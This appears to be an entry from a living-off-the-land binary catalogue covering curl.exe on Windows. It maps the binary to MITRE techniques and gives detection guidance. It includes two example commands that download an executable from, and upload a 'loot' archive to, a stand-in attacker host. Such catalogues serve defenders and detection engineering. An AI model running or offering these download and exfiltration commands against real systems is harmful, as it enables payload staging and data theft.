curl.exe

curl.exe has shipped in-box on Windows 10 since build 1803 (and on macOS/Linux for years). -o/--output writes a downloaded URL to a chosen path (ingress transfer) and -T/--upload-file (or -d/--data for POST) exfiltrates a local file to a remote server, all from a Microsoft-signed binary.

Use Download a payload or stage/exfiltrate data using a built-in, trusted HTTP client instead of certutil/bitsadmin.

curl.exe -o C:\Windows\Temp\x.exe http://attacker.example/x.exe
curl.exe -T C:\Windows\Temp\loot.zip http://attacker.example/upload/

Context

user

Native

Download, Upload

MITRE

T1105T1567

Detection

Detection: curl.exe writing executable/script content with -o/-O; curl.exe -T/--upload-file or -d to external hosts; curl.exe with a non-interactive parent (office, script host); egress to newly-seen domains from curl.exe.

Verified

✓ curl.se manpage documents -o/--output and -T/--upload-file (and -d/--data) exactly as described; curl.se/windows confirms the Microsoft-signed in-box build.

Refs

curl.se/docs/manpage.html

curl.se/windows/